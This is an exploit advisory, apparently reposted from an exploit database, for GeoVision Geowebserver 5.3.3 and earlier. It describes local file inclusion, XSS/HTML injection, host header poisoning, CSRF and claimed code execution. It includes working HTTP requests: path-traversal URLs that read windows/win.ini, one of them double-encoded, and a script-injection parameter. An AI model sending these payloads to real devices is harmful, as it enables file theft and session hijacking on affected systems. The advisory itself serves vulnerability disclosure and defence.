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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: GeoVision Geowebserver 5.3.3 - LFI / XSS / HHI / RCE
# DynamicDNS Network to find: DIPMAP.COM / GVDIP.COM
# Date: 6-16-21 (Vendor Notified)
# Exploit Author: Ken 's1ngular1ty' Pyle
# Vendor Homepage: https://www.geovision.com.tw/cyber_security.php
# Version: <= 5.3.3
# Tested on: Windows 20XX / MULTIPLE
# CVE : https://www.geovision.com.tw/cyber_security.php

GEOVISION GEOWEBSERVER =< 5.3.3 are vulnerable to several XSS / HTML Injection / Local File Include / XML Injection / Code execution vectors. The application fails to properly sanitize user requests. This allows injection of HTML code and XSS / client side exploitation, including session theft:

Nested Exploitation of the LFI, XSS, HTML / Browser Injection:

GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>test</script><iframe%20src=""> HTTP/1.1

Absolute exploitation of the LFI:

POST /Visitor/bin/WebStrings.srf?obj_name=win.ini

GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini

Additionally, the vendor has issued an ineffective / broken patch (https://www.geovision.com.tw/cyber_security.php) which does not appear to remediate or address the problem. Versions 5.3.3 and below continue to be affected. This is acknowledged by the vendor.


ex. obj_name=INJECTEDHTML / XSS

The application fails to properly enforce permissions and sanitize user request. This allows for LFI / Remote Code Execution through several vectors:

ex. /Visitor//%252e(path to target)

These vectors can be blended / nested to exfiltrate data in a nearly undetectable manner, through the API:

The devices are vulnerable to HOST HEADER POISONING and CROSS-SITE REQUEST FORGERY against the web application. These can be used for various vectors of attack.

These attacks were disclosed as part of the IOTVillage Presentation:

 https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20villages/DEFCON%2029%20IoT%20Village%20-%20Ken%20Pyle%20-%20BLUEMONDAY%20Series%20Exploitation%20and%20Mapping%20of%20Vulnerable%20Devices%20at%20Scale.mp4